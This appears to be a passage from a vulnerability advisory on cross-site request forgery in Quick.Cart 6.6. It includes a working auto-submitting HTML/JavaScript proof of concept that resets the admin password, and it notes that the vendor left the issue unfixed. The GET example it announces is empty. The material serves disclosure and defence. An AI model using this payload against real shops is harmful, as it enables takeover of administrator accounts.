2. Description

None of the requests of Quick.Cart 6.6 are protected from CSRF. This means that an attacker can perform actions for a logged in user by getting them to visit a website with specifically crafted HTML and JavaScript while logged in.

The interesting Forms are all in the admin.php file. To add security through obscurity, Quick.Cart does suggest to rename this file, which would make it more difficult to exploit these vulnerabilities. The renaming is not mandatory.

The vulnerability can be exploited via GET or POST because of a call to extract: extract( $_GET );

3. Proof of Concept

Change Admin Password:

<html> <body> <form id="myform" action="http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config" method="POST"> <input type="hidden" name="sOption" value="save �»" /> <input type="hidden" name="login" value="admin" /> <input type="hidden" name="pass" value="admin" /> <input type="submit" value="Submit request" /> </form> <script>document.createElement('form').submit.call(document.getElementById('myform'));</script> </body> </html>

Or via GET:


4. Solution

This issue was not fixed by the vendor.
